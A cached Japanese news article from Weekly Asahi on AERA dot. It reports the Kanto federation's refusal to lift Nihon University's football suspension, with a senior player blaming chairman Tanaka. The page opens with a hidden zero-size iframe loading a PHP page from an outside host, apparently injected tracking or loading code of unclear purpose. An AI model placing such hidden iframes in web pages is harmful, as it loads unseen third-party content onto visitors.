<iframe src="//nspt.unitag.jp/ced324f765faec92_3871.php" width="0" height="0" frameborder="0"></iframe> (cache)リーグ戦参加が絶望となった日大アメフト部4年生が激白「一番、悪いのは田中理事長だ」 (1/2) 〈週刊朝日〉|AERA dot. (アエラドット)

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リーグ戦参加が絶望となった日大アメフト部4年生が激白「一番、悪いのは田中理事長だ」

今西憲之週刊朝日

日大アメフト部事件の第三者委員会の会見 (c)朝日新聞社

日大アメフト部事件の第三者委員会の会見 (c)朝日新聞社

田中理事長 (c)朝日新聞社

田中理事長 (c)朝日新聞社

 関東学生アメリカンフットボール連盟は7月31日、臨時理事会を開催し、危険タックル問題で公式試合の出場資格停止としている日本大学のアメリカンフットボール部に対し、処分を解除しないと発表した。日大アメフト部は今年のリーグ戦に参加できないことが決まった。

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 これで4年生の選手は公式戦に出場できないまま、卒業する可能性が大きくなった。

 本誌の取材に応じた、日大アメフト部の4年生の選手はこう怒りをぶちまける。

「一縷の望みがあったが、これも絶たれてしまった。覚悟してはいたが、奈落の底に突き落とされた、絶望感でいっぱいだ。すべては、内田(正人)前監督ら指導者と日大の執行部の責任だ」

 連盟も今回の処分が苦渋の判断であったことを記者会見で説明した。

 日大は昨年、甲子園ボウルで西日本代表の関西学院大学に勝ち、2006年以来関西勢が独占していた大学日本一の座を奪回。過去、大学日本一の座につくこと21回。まさに、関東を代表するチームで、日大は連盟に「チーム改善報告書」を7月17日に提出。

 だが、記者会見で連盟は「十分な改善が認められない」と出場停止処分を解除しないとした。

「4年生が出られないのは、かわいそうとは思いました。しかし、連盟にも所属する大切な学生たちがいます」

「きちんと出来ていない中、試合をさせるのは、安全を保障できない。致し方ない」

 記者会見で連盟はこう説明した。

 内田前監督らの指導を「勝利至上主義」「反則を容認するかのような指導」「反則を厭わない方針」と「チーム改善報告書」で説明。「新監督、新コーチで抜本的な改革」などの改善方法をとることを訴えた。だが連盟の関係者はこう舞台裏を語る。

「関東では日大が一番のチームであることは、誰もがわかっており、4年生のことを考えると、今年秋のリーグ戦に出してやりたいと思っていた。だが、改善報告書では抜本的と言いながら、監督などの人事さえ変えればいいという感が否めなかった。それに、日大の第三者委員会の報告書は日大の理事でもあった、井ノ口忠男元コーチの口封じ工作も明らかになった。つまり、日大が組織的に、問題を隠ぺいしようとした。改善するにはアメフト部だけではなく、日大そのもの。しかし、田中(英寿)理事長は報酬返上するだけで、記者会見もしない。これじゃ無理だと、連盟の多くから声が出ました」

 一番のとばっちりは、4年生の選手たちだ。今年秋の公式戦には出られない。

「公式戦に出るには、あえて留年するしかない」と先の4年生の現役選手は語る。


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